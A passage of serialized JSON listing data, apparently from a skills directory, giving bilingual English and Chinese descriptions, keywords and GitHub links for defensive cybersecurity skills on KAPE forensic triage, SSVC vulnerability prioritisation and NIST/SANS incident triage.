MFTECmd, RECmd). Use during early incident containment\u002Ftriage when full disk imaging is impractical but a defensible, parseable Windows artifact set is needed quickly, including at-scale remote collection.","运行 KAPE（Kroll Artifact Parser and Extractor），通过 Targets 收集目标取证工件（注册表配置单元、$MFT、事件日志、prefetch、浏览器数据），并使用封装 Eric Zimmerman 的 EZ Tools（PECmd、MFTECmd、RECmd）的 Modules 进行解析。适用于事件遏制\u002F分诊早期阶段——此时完整磁盘镜像不切实际，但需要快速获得可采信、可解析的 Windows 工件集，包括大规模远程收集。","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Ftriaging-windows-with-kape\u002FSKILL.md",[214,215],{"categoryNo":21,"categoryName":22,"taxonomyType":23,"taxonomyTypeDesc":24},{"categoryNo":216,"categoryName":217,"taxonomyType":28,"taxonomyTypeDesc":29},"01M8C9JZH3GWXPJ6CQG5P7J48Y","数字取证与电子证据分析",[219,220,221,50,222,223,224,225,226,227,228,229,230,231,232,233,165,234,235,236],"windows","kape","triaging windows with kape","registry","browser","logs","windows-forensics","dfir","mft","mftecmd","data","prefetch","eric-zimmerman","digital-forensics","SET","collection","pecmd","artifact-collection",{"skillNo":238,"name":239,"nameZh":240,"description":241,"descriptionZh":242,"repositoryFullName":9,"ownerLogin":10,"ownerAvatarUrl":11,"ownerAccountNo":12,"ownerDisplayName":13,"repositoryNo":14,"starsCount":15,"licenseSpdxId":16,"licenseFileUrl":17,"sourceHtmlUrl":243,"categories":244,"keywords":249,"publishedAt":51},"01M6AGD5PW5J4EVZM958WD74ZQ","triaging-vulnerabilities-with-ssvc-framework","SSVC 漏洞优先级分诊","Triages and prioritizes vulnerabilities with CISA's Stakeholder-Specific Vulnerability Categorization (SSVC) decision tree, weighing exploitation status (via the CISA KEV catalog and FIRST EPSS API), technical impact, automatability, and mission prevalence to output Track\u002FTrack*\u002FAttend\u002FAct decisions. Use when prioritizing vulnerability scan results (OpenVAS, Nessus, Qualys) for remediation planning beyond raw CVSS scores.","使用 CISA 的 Stakeholder-Specific Vulnerability Categorization（SSVC，利益相关方特定漏洞分类）决策树对漏洞进行分诊和优先级排序，权衡利用状态（通过 CISA KEV 目录和 FIRST EPSS API）、技术影响、自动化程度和任务普遍性，输出 Track\u002FTrack*\u002FAttend\u002FAct 决策。适用于对漏洞扫描结果（OpenVAS、Nessus、Qualys）进行优先级排序以制定修复计划，而不局限于原始 CVSS 分数的场景。","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Ftriaging-vulnerabilities-with-ssvc-framework\u002FSKILL.md",[245,248],{"categoryNo":246,"categoryName":247,"taxonomyType":28,"taxonomyTypeDesc":29},"01M8BQV98CYQ7TEW2D1MRQ00TE","安全公告与漏洞管理",{"categoryNo":21,"categoryName":22,"taxonomyType":23,"taxonomyTypeDesc":24},[250,251,252,50,253,254,255,256,257,258,259,260,261,262,263,264,265,266,267,268],"vulnerabilities","framework","triaging vulnerabilities with ssvc framework","status","planning","CISA","vulnerability-management","risk-management","nessus","qualys","openvas","cvss","remediation","risk","vulnerability","api","prioritization","ssvc","decision-tree",{"skillNo":270,"name":271,"nameZh":272,"description":273,"descriptionZh":274,"repositoryFullName":9,"ownerLogin":10,"ownerAvatarUrl":11,"ownerAccountNo":12,"ownerDisplayName":13,"repositoryNo":14,"starsCount":15,"licenseSpdxId":16,"licenseFileUrl":17,"sourceHtmlUrl":275,"categories":276,"keywords":281,"publishedAt":51},"01M6AGD24TTQQM4CXG69E3B9TJ","triaging-security-incident","安全事件初步分诊","Performs initial triage of security incidents using the NIST SP 800-61r3 and SANS PICERL frameworks, classifying incident type, assigning priority by business impact, and routing to the appropriate response team. Use when a SIEM\u002FEDR alert needs human classification, concurrent alerts must be prioritized, or a user report or threat-intel IOC match requires initial incident categorization.","使用 NIST SP 800-61r3 和 SANS PICERL 框架对安全事件进行初步分诊，分类事件类型、按业务影响分配优先级，并路由到相应的响应团队。适用于 SIEM\u002FEDR 告警需要人工分类、并发告警必须确定优先级，或用户报告或威胁情报 IOC 匹配需要初步事件分类的场景。","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Ftriaging-security-incident\u002FSKILL.md",[277,278],{"categoryNo":21,"categoryName":22,"taxonomyType":23,"taxonomyTypeDesc":24},{"categoryNo":279,"categoryName":280,"taxonomyType":28,"taxonomyTypeDesc":29},"01M8BTHYSJPJ500X64JJ5CH06D","安全事件响应与威胁狩猎",[130,282,50,283,284,285,286,287,288,289,290,201,291,202,292,293,294,295,296,297],"triaging security incident","siem","file","ioc","soc","NIST-800-61","NIST","severity","edr","execution","analysis","classification","severity-classification","incident-triage","SANS-PICERL","SOC-operations"]